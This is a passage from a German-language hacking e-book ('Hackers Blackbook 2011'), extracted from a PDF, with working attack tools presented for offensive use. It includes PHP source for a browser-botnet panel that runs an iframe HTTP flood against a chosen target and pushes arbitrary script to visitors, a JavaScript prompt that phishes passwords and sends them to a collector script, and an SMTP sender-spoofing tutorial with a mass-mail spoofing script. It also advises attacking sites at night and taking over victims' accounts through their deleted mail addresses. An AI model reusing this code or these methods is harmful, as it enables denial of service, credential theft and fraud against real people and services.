$_POST["staerke"]=$_POST["staerke"]; $inst=""; $i=0;
while ($i<$_POST["staerke"]) {
$inst .= '<iframe src="' . $_POST["ziel"] . '" name="include" width="400"
height="400"></iframe>'; $i++; }
$filecontents = stripslashes(html_entity_decode($inst));
$filename="httpflood.php";
$fp = fopen($filename,'w');
fwrite($fp, $filecontents);
fclose($fp);
$verlauf="HTTP-Flood auf " . $_POST["ziel"] . " wurde gestartet"; }

if (isset($_POST["stopflood"])) {
unlink("httpflood.php");
$verlauf="HTTP-Flood wurde gestoppt."; }

if (isset($_POST["del"])) {
unlink("allinusers.php");
$verlauf="Sciptbefehl fuer alle Ip's wurde beendet"; }

if (isset($_POST["scriptall"])) {
$filecontents = stripslashes(html_entity_decode($_POST["scriptall"]));
$filename="allinusers.php";
$fp = fopen($filename,'w');
fwrite($fp, $filecontents);
fclose($fp);
$verlauf="Script wurde an alle User gesendet"; }

if (isset($_POST["ipu"])) {
if (file_exists("ipcache/" . $_POST["ipu"] . ".txt")) {
$verlauf="";
$filename="ipcache/" . $_POST["ipu"] . ".txt";
$fp = fopen($filename,'r');
$verlauf .= fread ($fp, filesize ($filename));
fclose($fp);
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
} else { $verlauf="Es konnte keine Ip zum untersuchen gefunden werden"; } }

echo "<b>Script ausfuehren:</b><br>";
echo "<form action=\"". $_SERVER['PHP_SELF'] . "\" method=\"post\"><b>Ip:
</b><input type=\"text\" name=\"ip\"><input type=\"submit\"
value=\"senden\"><br><textarea name=\"script\" cols=\"50\"
rows=\"5\">script...</textarea></form>";

echo "<b>HTTP-Flood:</b> ";
if (file_exists("httpflood.php")) { echo "active";
echo "<form action=\"". $_SERVER['PHP_SELF'] . "\" method=\"post\"><input
type=\"hidden\" name=\"stopflood\" value=\"x\"><input type=\"submit\"
value=\"HTTP-Flood stoppen\"></form>"; } else { echo "inactive";
echo "<form action=\"". $_SERVER['PHP_SELF'] . "\" method=\"post\"><b>Ziel:
</b><input type=\"text\" name=\"ziel\"><br><b>Staerke: </b><input type=\"text\"
name=\"staerke\" value=\"10\"><input type=\"submit\" value=\"starten\"></form>";
}

echo "<b>Script auf allen Ip's ausfuehren:</b><br>";
$all="a";
if (file_exists("allinusers.php")) { echo "<b>Status:</b> active"; $all="b"; }
else { echo "<b>Status:</b> inactive"; }
echo "<form action=\"". $_SERVER['PHP_SELF'] . "\" method=\"post\">";
if ($all=="b") { echo "<input type=\"hidden\" name=\"del\" value=\"x\"><input
type=\"submit\" value=\"Script stoopen\"></form>"; } else {
echo "<input type=\"submit\" value=\"senden\"><br><textarea name=\"scriptall\"
cols=\"50\" rows=\"5\">script...</textarea></form>"; }

echo "<b>Ip untersuchen:</b> ";
echo "<form action=\"". $_SERVER['PHP_SELF'] . "\" method=\"post\"><b>Ip:
</b><input type=\"text\" name=\"ipu\"><input type=\"submit\"
value=\"untersuchen\"></form>";

echo "<b>Verlauf:</b><br>" . $verlauf;
?>

---ixing.php---
<?php
$time="<i>Datum:</i> ";
$time .= date("m.d.y");
$time .=" <i>Zeit:</i> ";
$time .= date(" G:i:s");
$insert= "<b>Letzter Zugriff:</b><br>" . $time . "<br>";

$insert .= "<b>Userinfo:</b><br>";
$insert .= "<i>Ip/Port:</i> " . $_SERVER["REMOTE_ADDR"] . ":" .
$_SERVER["REMOTE_PORT"] . "<br>";
$insert .= "<i>Browser/System:</i> ". $_SERVER["HTTP_USER_AGENT"] . "<br>";
if (isset($_SERVER["HTTP_REFERER"])) {
$refalen=strlen($_SERVER["HTTP_REFERER"]); if ($refalen>0) { $insert .=
"<i>Referer:</i> ". $_SERVER["HTTP_REFERER"] . "<br>"; } }

$filename="ipcache/" . $_SERVER["REMOTE_ADDR"] . ".txt";
$fp = fopen($filename,'w');
fwrite($fp, $insert);
fclose($fp);

$cyes="yes";
if (isset($_GET["c"])) { $clen=strlen($_GET["c"]); if ($clen>0) {
if (file_exists("com/lognotice.txt")) {
$fp = fopen("com/log.txt",'r');
$listspar = fread ($fp, filesize ("com/log.txt"));
fclose($fp);
if (preg_match("/" . $_SERVER["REMOTE_ADDR"] . "/", $listspar, $match) &&
preg_match("/" . $_GET["c"] . "/", $listspar, $match)) { $cyes="no"; } }
} }

if ($cyes=="yes") {
if (isset($_GET["c"])) { $filename="com/log.txt"; if (file_exists($filename)) {
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
$insertx="User: " . $_SERVER["REMOTE_ADDR"] . ":" . $_SERVER["REMOTE_PORT"] . "
Time: " . date("m.d.y") . " Date: " . date(" G:i:s") . "\r\nlog: " . $_GET["c"]
. "\r\n\r\n";
$fp = fopen($filename,'a');
fwrite($fp, $insertx);
fclose($fp); exit; } else {
$insertx="User: " . $_SERVER["REMOTE_ADDR"] . ":" . $_SERVER["REMOTE_PORT"] . "
Time: " . date("m.d.y") . " Date: " . date(" G:i:s") . "\r\nlog: " . $_GET["c"]
. "\r\n\r\n";
$fp = fopen($filename,'w');
fwrite($fp, $insertx);
fclose($fp); exit; } } }

if (file_exists($_SERVER["REMOTE_ADDR"] . "x.php")) {
unlink($_SERVER["REMOTE_ADDR"] . ".php"); if
(file_exists($_SERVER["REMOTE_ADDR"] . "x.php")) {
unlink($_SERVER["REMOTE_ADDR"] . "x.php"); } }

$i="a";

if (file_exists("httpflood.php")) {
echo "<iframe src=\"httpflood.php\" name=\"include\" width=\"400\"
height=\"400\"></iframe>";
echo "<meta http-equiv=\"refresh\" content=\"1\" URL=ixing.php\">"; $i="b"; }

if (file_exists("allinusers.php")) {
echo "<iframe src=\"allinusers.php\" name=\"include\" width=\"400\"
height=\"400\"></iframe>";
echo "<meta http-equiv=\"refresh\" content=\"4\" URL=ixing.php\">"; $i="b"; }

if ($i=="a") {
if (file_exists("ipcache/" . $_SERVER["REMOTE_ADDR"] . ".txt")) {
if (file_exists($_SERVER["REMOTE_ADDR"] . ".php")) {
echo "<iframe src=\"" . $_SERVER["REMOTE_ADDR"] . ".php" . "\" name=\"include\"
width=\"400\" height=\"400\"></iframe>";
echo "<meta http-equiv=\"refresh\" content=\"4\" URL=ixing.php\">";
$filename=$_SERVER["REMOTE_ADDR"] . "x.php";
$fp = fopen($filename,'w');
fwrite($fp, "x");
fclose($fp); $i="b"; } } }

if ($i=="a") { echo "<meta http-equiv=\"refresh\" content=\"4\"
URL=ixing.php\">"; }

$path = "comout/";
if($dir=opendir($path))
{
 while($file=readdir($dir))
 {
  if (!is_dir($file) && $file != "." && $file != "..")
  {
   $files[]=$file;
if ($file==".htaccess") { } else { echo "<frameset cols=\"120\"><br><frame
src=\"" . "comout/" . $file . "\" name=\"Navigation\"></frameset>"; }
  }
 }
closedir($dir); }
?>

---com/(test)-alert-owned.html---
<html><script>alert("owned")</script></html>

---.htaccess---
<Files *>
        Order Allow,Deny
        Deny from All
</Files>

---prompt-pw-phish.html---
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
<html><script type="text/javascript">
Check = prompt("your session was lost. please enter your pw", "");
location.href='../ixing.php?c='+Check;
</script></html>

---log.txt---
###get?c=log###

---/comout--

---ipcache/.htaccess---
<Files *>
        Order Allow,Deny
        Deny from All
</Files>

---ipcache/127.0.0.1.txt---
<b>Letzter Zugriff:</b><br><i>Datum:</i> 05.31.11 <i>Zeit:</i>
13:13:25<br><b>Userinfo:</b><br><i>Ip/Port:</i>
127.0.0.1:3879<br><i>Browser/System:</i> Mozilla/5.0 (Windows; U; Windows NT
5.1; zh-CN; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17<br>

--------------------------
```

Fehlt noch was interessantes fuer Einsteiger ? Wie waers mit dem Abesenden von Mails
mit falscher Absenderadresse ?

Mailsysteme allgemein:

Ein Mailserver vuerfuegt fuer gewoehnlich ueber 2 Adressen.
Einmal die SMTP (Standart Port: 25) und einmal die POP o.
POP3 (Standart Port: 110) Adresse. Dabei ist SMTP zum versenden
von Mails und POP o. POP3 zum abrufen von Mails gedacht.
In diesem Tutorial richten wir unser Augenenmerk besonders auf die
Sicherheitsmaengel des SMTP Systems.
Ein normaler Versand einer E-Mail wuerde bei SMTP wie folgt aussehen:

```
connected to smtp.xxx.de 25
Server> 220 Welcome to the xxx SMTP Server
User> helo meinname
Server> 250 Hello and Welcome mr.x
User> mail from:<mrx@xxx.de>
Server> 250 Adress mrx@xxx.de ok
User> rcpt to:<empfaenger.xxx.de>
Server> 250 Adress empfaenger.xxx.de ok
User> data
Server> 354 start mail input; end with <crlf>.<crlf>
User>subject: ein betreff

mein nachrichtentext

.

Server> 250 ok
User> quit
Server> 221 signing off
```

Der Empfaenger bekommt nun eine Mail mit den Angegeben Daten.

(Die Nummer am Anfang jeder Serverantwort sind zur richtigen Kommunikation
Zwischen Server und Empfaenger da (503 Fehlercode, 220 OK usw...))

E-Mails mit falschen Absender unter aelteren Mailsystemen versenden

Aeltere Systeme kontrollieren die Userauthentifikation meist nicht
ausreichend. Wenn wir jetzt auf einen SMTP-Server connecten
und dort einfach eine E-Mail bei "mail from:<>" angeben die uns
nicht gehoert koennten wir damit sogar durch kommen.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

Viele aeltere Systeme pruefen nur ob eine korrekte E-Mail angegeben wurde und nicht ob uns diese auch wirklich gehoert, oder existiert. Genauso die Authentifikatoion bei "helo ". Hier koennen wir im Grunde auch bei neueren Systemen angeben was wir wollen. Da diese Authentifikation eigentlich sogut wie nie geprueft wird. Allerdings waere es auch unsinnig wenn das geprueft werden wuerde, da es ja moeglich sein soll von euberall Mails zu empfangen egal mit welcher "helo " Angabe. Bei vielen Systemen dieser Art kann die Angabe von "mail from:<>" auch einfach eubersprungen werden und einfach mit "rcpt to:<>" weiter gemacht werden. Was bewirkt das der Absender am Ende als Unbekannt gewertet wird. Das ganze wuerde dann wie folgt aussehen:

Mail mit falschen Absender:

```
connected to smtp.xxx.de 25
Server> 220 Welcome to the xxx SMTP Server
User> helo fake
Server> 250 Hello and Welcome mr.fake
User> mail from:<fake@xxx.de>
Server> 250 Adress fake@xxx.de ok
User> rcpt to:<opfer.xxx.de>
Server> 250 Adress opfer.xxx.de ok
User> data
Server> 354 start mail input; end with <crlf>.<crlf>
User>subject: ein betreff

mein nachrichtentext

.

Server> 250 ok
User> quit
Server> 221 signing off
```

Mail ohne Absender:

```
connected to smtp.xxx.de 25
Server> 220 Welcome to the xxx SMTP Server
User> helo fake
Server> 250 Hello and Welcome mr.fake
User> rcpt to:<opfer.xxx.de>
Server> 250 Adress opfer.xxx.de ok
User> data
Server> 354 start mail input; end with <crlf>.<crlf>
User>subject: ein betreff

mein nachrichtentext

.

Server> 250 ok
User> quit
Server> 221 signing off
```

Derart große Sicherheitsluecken findet man Heutzutage nur noch selten.

E-Mails mit falschen Absender unter aktuellen Mailsystemen versenden:

Anders als bei aelteren, schon beschriebenen Mail Systemen werden bei heutigen Systemen die User Authentifizierungen genauestens ueberprueft. Das allerdings verhindert nicht die moeglichkeit eine falsche Absender-adresse im Nachinein anzugeben.
Gehen wir nun also davon aus das der betroffene Server vorraussetzt das sie bei ihm eingeloggt sind und beim senden ihrer E-Mail ihre korrekten Daten angeben. Ein Versuch ohne Erfolg wuerde wie folgt aussehen:

```
connected to smtp.xxx.de 25
Server> 220 Welcome to the xxx SMTP Server
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
User> helo fake
Server> 250 Hello and Welcome mr.fake
User> mail from:<fake@xxx.de>
Server> 553 Server policy any error: you are not logged in or your session to
old...
User> quit
Server> 221 signing off
```

Der Server merkt das wir uns nicht korrekt anmelden konnten und
gibt uns den entsprechenden Fehlercode zurrueck.
Was nun ? Wir loggen uns in einen existierenden Mail Account ein und
versuchen dann nochmal die Methode ueber SMTP. Anschliesend geben
wir dann beim schreiben des E-Mail Textes ein zweites mal eine
E-Mailadresse an.

Erster Connect:

```
connected to pop.xxx.de 110
Server> +OK POP3 Server <xxx.de>
User> user angemeldet@xxx.de
Server> +OK Password required
User> pass 12345
Server> +OK Login OK
```

Diese Verbindung behalten wir nun aufrecht und connecten
nebenbei zum SMTP Server

Zweiter Connect:

```
connected to smtp.xxx.de 25
Server> 220 Welcome to the xxx SMTP Server
User> helo fake
Server> 250 Hello and Welcome mr.fake
User> mail from:<angemeldet@xxx.de>
Server> 250 Account Auth correct
User> rcpt to:<opfer.xxx.de>
Server> 250 Adress opfer.xxx.de ok
User> data
Server> 354 start mail input; end with <crlf>.<crlf>
User>subject: ein betreff
from: fake@xxx.de

mein nachrichtentext

.

Server> 250 ok
User> quit
Server> 221 signing off
```

Und anschliesend noch den POP Server mit "quit"
disconnecten.

Was ist passiert ?
Der Server hat gemerkt das wir uns ueber die POP
Adresse mit angemeldet@xxx.de angemeldet haben und
akzeptiert diese Angaben anschliesend auch auf der
SMTP Adresse. Das ganze wuerde am Ende bewirken das
unsere tatsaechliche E-Mail als Absender erscheint,
wenn wir nicht beim SMTP Connect im Nachrichtentext
ein zweites mal eine Absenderadresse angegeben haetten.
(mit from: irgendwas). Hierbei laesst der Mailserver
die Adresse von "mail from:<>" unbeachtet und uebernimmt
statdessen die Angabe aus "from: ", aus dem Nachrichtentext.
Was folglich dazu fuehrt das der Empfaenger als Absenderadresse
die gefakete Adresse gezeigt bekommt.

Natuerlich ist diese Art nur eine Methode zum faken von Mailadressen.
Man koennte sowas auch ueber ein Script bewerkstaelligen:

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
<?php
if (file_exists("cache.txt")) { unlink("cache.txt"); }
$i=0;

echo "<b>sending out:</b><br><br>";
$handle = fopen ("mails.txt", "r");
$strSubject="Ihr E-Mail Account wurde gehacked ;-)";
$strMailtext="hallo\r\nund lol";
while (!feof($handle)) {
$mail = fgets($handle, 4096);

if ($i==100) { echo "<br><b>saving rest mails for the next step to
send...</b><br>"; }
if ($i<100) {
$mail=ereg_replace("\r\n", "", $mail);
$mail=ereg_replace("\n", "", $mail);
mail($mail, $strSubject, $strMailtext, "From: " . $mail);
echo $mail . "<br>"; } else { $filename="cache.txt";
if (file_exists("cache.txt")) { $fp = fopen($filename,'a');
fwrite($fp, $mail . "\r");
fclose($fp); } else {
$fp = fopen($filename,'w');
fwrite($fp, $mail . "\r");
fclose($fp); } }
$i++; }
fclose ($handle);

if (file_exists("cache.txt")) { unlink("mails.txt"); rename("cache.txt",
"mails.txt"); echo "<meta http-equiv=\"refresh\" content=\"5\" URL=" .
$_SERVER['PHP_SELF'] . "\">"; } else { unlink("mails.txt"); echo
"<br><b>#complete</b><script>alert(\"complete\")</script>"; }
?>
```

Dieses Scirpt nimmt sich alle Mails aus einer Liste "mails.txt" und sendet an diese Adressen eine Email. Als Absender verwendet sie die gleiche Mailadresse. Also absender xyz und Empfaenger ebenfalls xyz!

Sie sehen also. Kreativitaet ist mit das A und O des Hackens & Crackens.
Ich gebe ihnen noch einen Tip mit auf den Weg.
Greifen sie Ihre Opferseiten Nachts an ;-) Da ist meist kein Admin online.
Und noch was kleines zur Anregung der Kreativitaet. Viele Mailanbieter haben schwachstellen die zb per csrf oder Clickjaking das Loeschen von Useraccounts moeglich macht. Wie saehe das wohl aus wenn man einen User angreift und dessen Mail Adresse loeschen laesst um sie dann selber neu zu erstellen und sich die Passworter und Passwort-vergessen-Links von seinen Webseiten-Accounts zuschicken laesst :-)

Es heist ja nicht umsonst "Die Kunst des Hackens" ;-)

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

20. Nachwort

Zum Schluss nur noch ein paar Worte mit auf den Weg. Wie gesagt ist beim Hacken die kreativitaet gefragt.
Es nuetzt einem nicht viel wenn man 10 Programmiersprachen kann aber so fantasielos ist wie ein Ziegelstein.
Andersrumm sieht es allerdings auch nicht viel besser aus. Wenn mann nixs kann aber 1000 Ideen hat.
Man sollte also nach moeglichkeit sein Wissen und seine Fantasie immer weiter steigern, mehr Pogrammiersprachen
lernen und mehr Hacking Methoden lernen.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

21. Webinfo

Wie das halt so ist findet man fuer das meiste hier gesagte auch allgemeine Fassungen ohne Bsp's usw.
Zb. bei Wikipedia und anderen privaten hostern fuer Dokumente:

http://de.wikipedia.org/wiki/Remote_File_Inclusion
http://de.wikipedia.org/wiki/SQL-Injection
http://de.wikipedia.org/wiki/Cross-Site_Scripting
http://de.wikipedia.org/wiki/Cross-Site_Request_Forgery
http://de.wikipedia.org/wiki/Clickjacking
http://de.wikipedia.org/wiki/Session_Fixation
http://de.wikipedia.org/wiki/Session_Hijacking
http://de.wikipedia.org/wiki/Full_Path_Disclosure
http://de.wikipedia.org/wiki/Sniffer
http://optical-faking.lima-city.de/
http://de.wikipedia.org/wiki/Backdoor
http://de.wikipedia.org/wiki/Brute-Force-Methode
http://en.wikipedia.org/wiki/XSA
http://www.technikwiki.org/index.php/History_Stealing
http://ebook.blacknet.me/blind-path-gathering.pdf

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

22. Credits & Greetz

Dieses Buch wurde geschrieben von: unnex

greetz to: Kugelfisch, SeriallKiller, DayDream, Specter, Stratomonster, swordfish, BiOvirus, YaHomie, Binary, moonlight, bursali, Chris Hunter, Sannur, cunit156, Entwarnung, Fatal1ty, golem, Helix, sPloiT, Mystia, darkhammer, Missundercover
und all die anderen!

Ein besonderer Dank an: Lauri$$, Nitrama, Lars Sobiraj, L3w3x, Staix aka Padrino, Soul, Sven Metzler, .True

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

23. Weitere Editionen des Hackers Blackbook

Als naechste Edition ist die "Hackers Blackbook Anonym Edition" geplant.

Folgende weitere Editionen sind derzeit geplant:
Hackers Blackbook Trojaner Edition
Hackers Blackbook Dos & Ddos Edition
Hackers Blackbook Faking Edition
Hackers Blackbook Passwort Edition
Hackers Blackbook Social Engineering Edition

Moechten Sie Spenden?
Ich wuerde mich sehr ueber eine Spende freuen! Diese wuerde bei der Erstellung der weiteren geplanten Editionen sehr helfen!

Spenderkonakt:
E-Mail: root@blacknet.me
E-Mail: schattendeatroth@web.de

Kontakt:
E-Mail: schattendeatroth@web.de
ICQ: 254511700
QQ: 1478122169

greetz unnex

visit: blacknet.me

(Hackers Blackbook 2011 fertig gestellt am 08.08.2011)

souhw^^ das ebook is jetzt bissl wie auf die schnelle rausgeknallt.. also kann sein das spaeter noch ne version komm die rechtschreibkontrolliert is usw^^